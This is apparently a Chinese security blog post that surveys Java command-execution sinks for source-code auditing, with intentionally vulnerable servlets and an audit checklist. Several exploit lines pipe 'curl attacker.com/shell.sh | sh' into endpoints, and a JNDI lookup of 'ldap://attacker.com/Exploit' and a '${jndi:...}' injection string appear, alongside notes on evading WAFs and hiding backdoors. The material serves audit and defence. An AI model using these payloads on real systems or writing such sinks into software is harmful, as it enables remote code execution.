一文看懂 Java 命令执行的源码审计与防御

一文看懂 Java 命令执行的源码审计与防御

☠️ Java 命令执行全景式源码审计指南

本文围绕 Java 程序中可能存在的命令执行方式进行深入挖掘与分析,不局限于常规 Runtime.getRuntime()ProcessBuilder,剖析更多隐蔽的命令执行点,助你在审计与渗透中快速识别可控点。


🎯 为什么不仅仅是 Runtime 和 ProcessBuilder?

许多安全产品只对 Runtime.getRuntime()ProcessBuilder 进行检测,但 Java 生态中可以执行命令的方式远不止如此。攻击者可通过:

  • 脚本引擎绕过检测;
  • 利用 Groovy、JNDI、Commons 库;
  • 动态反射构造调用链;
  • 或直接 JNI 执行 native 命令。

👇 下面将按审计视角展开介绍,包含每种方式的:

  • 🧩 核心调用方式
  • 📌 漏洞触发点示例
  • 💥 利用场景与漏洞分析

✅ 1. Runtime.getRuntime().exec(...) — 经典命令执行方式

🧩 调用方式说明

最常见的命令执行方式,直接使用 JVM 内置的 Runtime 类执行命令,攻击者若能控制传入参数,即可触发任意系统命令执行。

📌 漏洞示例代码

 @WebServlet("/exec")
 public class ExecServlet extends HttpServlet {
     protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
         String cmd = request.getParameter("cmd");
         Process p = Runtime.getRuntime().exec(cmd);
         InputStream in = p.getInputStream();
         byte[] buf = new byte[1024];
         int len = in.read(buf);
         response.getWriter().write(new String(buf, 0, len));
     }
 }

💥 利用方式 & 分析

  • 访问 /exec?cmd=whoami 即可执行系统命令;
  • 若部署在 Linux 上,还可发起反弹 Shell 或远程下载;
  • 参数完全可控,典型 RCE 点。

🧠 漏洞成因分析

  • 用户输入直接传入 exec() 参数,完全可控;
  • 没有做参数过滤或命令白名单控制;
  • 黑盒测试可轻松发现,最常见 RCE 类型。

✅ 2. ProcessBuilder — 命令执行的变体

🧩 调用方式说明

ProcessBuilder 是另一个启动进程的常见类,能设置工作目录、环境变量,灵活性更高,漏洞审计时不可忽视。

📌 漏洞示例代码

 public class ProcessBuilderDemo extends HttpServlet {
     @Override
     protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
         String cmd = request.getParameter("cmd");  // 从网络获取参数
         if (cmd == null || cmd.isEmpty()) {
             response.getWriter().write("Missing cmd parameter");
             return;
         }
 ​
         // 执行系统命令
         List<String> command = Arrays.asList("/bin/sh", "-c", cmd);
         ProcessBuilder pb = new ProcessBuilder(command);
         Process p = pb.start();
 ​
         // 输出执行结果
         response.setContentType("text/plain");
         p.getInputStream().transferTo(response.getOutputStream());
     }
 }

💥 利用方式 & 分析

 http://localhost:8080/ProcessBuilderDemo?cmd=curl attacker.com/shell.sh | sh
  • 类似 Runtime 但绕过 WAF 更容易;
  • 可拼接复杂命令,结合环境变量实现绕过。

🧠 漏洞成因分析

  • 参数拼接使用 /bin/sh -c,完全可注入;
  • 即使外部包装,也未设置 pb.directory()pb.environment() 白名单限制。
    • 使用 pb.directory() 设置固定工作目录,可以防止路径遍历或非法访问文件。
      •  pb.directory(new File("/app/sandbox"));
    • 使用 pb.environment() 限制用户操作范围,可以防止通过环境变量注入。
      •  Map<String, String> env = pb.environment();
         env.clear(); // 或仅保留白名单字段
         env.put("SAFE_ENV", "value");

✅ 3. ScriptEngineManager.eval(...) — JavaScript 脚本命令执行

🧩 调用方式说明

Java 8 及以下默认提供 Nashorn JavaScript 引擎,攻击者可借助 JavaScript 直接执行 Java 命令,极具隐蔽性。

📌 漏洞示例代码

 @WebServlet("/eval")
 public class EvalServlet extends HttpServlet {
     protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException{
         String script = request.getParameter("script");
         ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");
         try {
             engine.eval(script);
         } catch (ScriptException e) {
             response.getWriter().println("Script Error");
         }
     }
 }

💥 利用方式 & 分析

 POST /eval
 script=java.lang.Runtime.getRuntime().exec("whoami")
  • JavaScript 可直接调用 Java 类;
  • 几乎等于后门终端,常用于 Jenkins 脚本管理模块。

🧠 漏洞成因分析

  • 用户传入脚本,完全未做沙箱隔离;
  • 支持调用 Java 类对象的 JavaScript 引擎,如 Nashorn;
  • 可执行任意 Java 代码。

✅ 4. GroovyShell.evaluate(...) — Groovy 命令执行

🧩 调用方式说明

Groovy 是 Java 的一种动态语言扩展,常用于脚本系统和 CI 工具中。.execute() 是 Groovy 字符串扩展方法,底层仍是 Runtime。

📌 漏洞示例代码

 @WebServlet("/groovy")
 public class GroovyEvalServlet extends HttpServlet {
     @Override
     protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
         String input = request.getParameter("code");  // 从 URL 参数获取 Groovy 表达式
         if (input == null || input.isEmpty()) {
             response.getWriter().write("Missing code parameter");
             return;
         }
 ​
         try {
             GroovyShell shell = new GroovyShell();
             Object result = shell.evaluate(input);  // 执行 Groovy 代码
             response.setContentType("text/plain");
             response.getWriter().write("执行结果: " + result);
         } catch (Exception e) {
             response.getWriter().write("执行出错: " + e.getMessage());
         }
     }
 }

💥 利用方式 & 分析

http://localhost:8080?code="whoami".execute().text
  • Groovy .execute() 即命令执行;
  • 在 Jenkins 脚本插件或第三方脚本引擎中尤为常见;
  • 动态语言执行能力极强,也容易出问题。

🧠 漏洞成因分析

  • Groovy 的 String.execute() 直接调用命令;
  • GroovyShell 没有默认沙箱,等于执行任意代码;
  • 在 Jenkins 插件、脚本管理系统中多见。

✅ 5. Apache Commons Exec — 中间件中常见方式

🧩 调用方式说明

Commons Exec 是 Apache 提供的进程管理工具库,许多 Java 框架使用它处理外部调用。虽然底层也使用 Runtime,但调用链更复杂,适合绕过审计工具。

📌 漏洞示例代码

@WebServlet("/exec")
public class CommonsExecServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) {
        String cmd = request.getParameter("cmd"); // 网络输入

        try {
            CommandLine cmdLine = CommandLine.parse(cmd);
            DefaultExecutor executor = new DefaultExecutor();
            executor.execute(cmdLine);

            response.getWriter().write("命令执行完成");
        } catch (Exception e) {
            try {
                response.getWriter().write("执行失败: " + e.getMessage());
            } catch (Exception ignored) {}
        }
    }
}

💥 利用方式 & 分析

http://localhost:8080/exec?cmd="curl http://attacker.com/malicious.sh | sh"
  • 可作为反弹 shell 构造点;
  • 白盒审计时务必识别 CommandLine.parse(...) 输入是否用户可控。

🧠 漏洞成因分析

  • Runtime 类似,但使用第三方库;
  • 许多中间件使用 Apache Commons Exec 做后端封装;
  • 被忽略风险更高,适用于白盒审计时识别漏洞代码路径。

✅ 6. JNDI.lookup(...) — 利用远程类加载实现 RCE

🧩 调用方式说明

JNDI 支持从远程 LDAP、RMI 等服务加载对象,若目标应用允许未验证地调用 lookup,可构造远程恶意类实现命令执行。

📌 漏洞示例代码

import javax.naming.InitialContext;

public class JndiExecDemo {
    public static void main(String[] args) throws Exception {
        String jndiUrl = "ldap://attacker.com/Exploit";
        InitialContext ctx = new InitialContext();
        ctx.lookup(jndiUrl);
    }
}

💥 利用方式 & 分析

  • LDAP Server 需提供可加载的恶意类(含命令执行代码);
  • 为 Log4j2 RCE 等著名漏洞的核心触发组件;
  • 可通过黑盒构造如 ${jndi:ldap://attacker/exp} 字符串触发。

🧠 漏洞成因分析

  • 如果配置不安全,JNDI 可触发远程类加载;
  • 漏洞核心利用链:Log4j/Logback -> JNDI -> RCE;
  • 常用于构造通杀漏洞链。

✅ 7. JNI(Java Native Interface) — 本地库命令执行

🧩 调用方式说明

通过加载 .so / .dll 本地文件调用 system() 实现命令执行。虽然不常见,但在物联网设备、桌面软件中极具隐蔽性。

📌 漏洞示例代码

public class NativeExec {
    static {
        System.loadLibrary("native"); // native.dll or libnative.so
    }

    public native void run();

    public static void main(String[] args) {
        new NativeExec().run();
    }
}
// native.c
JNIEXPORT void JNICALL Java_NativeExec_run(JNIEnv *env, jobject obj) {
    system("whoami");
}

💥 利用方式 & 分析

  • .so 被外部加载且参数可控,即可实现命令执行;
  • 难以被 Java 安全工具检测,适合隐蔽后门部署。

✅ 8. 反射链构造 — 绕过审计静态分析

🧩 调用方式说明

通过反射组合调用链隐藏真正命令执行位置,是很多 Java 反序列化链的核心技术。

📌 漏洞示例代码

 public class ReflectExec {
     public static void main(String[] args) throws Exception {
         Class<?> cls = Class.forName("java.lang.Runtime");
         Object rt = cls.getMethod("getRuntime").invoke(null);
         cls.getMethod("exec", String.class).invoke(rt, "calc");
     }
 }

💥 利用方式 & 分析

  • 动态构建调用链可绕过很多规则引擎;
  • 静态代码中难以发现明显 exec()
  • 在 Apache CommonsCollections、Spring Payload 等链中常见。

🧠 审计策略与检测建议

检查点风险说明
命令拼接点 .exec(), .execute()参数是否直接拼接命令
动态脚本执行(Groovy/JS)是否 eval 用户输入
脚本引擎调用链ScriptEngine 是否启用,支持哪些脚本语言
JNDI 引用lookup 参数是否外部可控
外部库调用(commons-exec等)参数传入点是否可控,是否跟到执行命令相关的库方法

🔍 常见及隐蔽命令执行方式汇总

方法类别方式示例可绕过WAF备注
RuntimeRuntime.getRuntime().exec("whoami")常见,易被检测
ProcessBuildernew ProcessBuilder("cmd", "/c", "whoami")类似上面,易被检测
Java脚本引擎ScriptEngineManager.eval(...)隐蔽执行任意代码
JNDI注入InitialContext.lookup("ldap://...")可触发远程类加载
Apache Commons ExecCommandLine.parse(...), executor.execute(...)第三方库,常用于服务
JNI调用本地库中实现系统调用二进制层,隐蔽性强
Groovy脚本执行GroovyShell.evaluate(...)高级语言集成方式
Java反射+封装类链利用反射调用内部命令构造链绕过静态审计工具

© 版权声明
THE END
喜欢就支持一下吧
点赞14赞赏 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容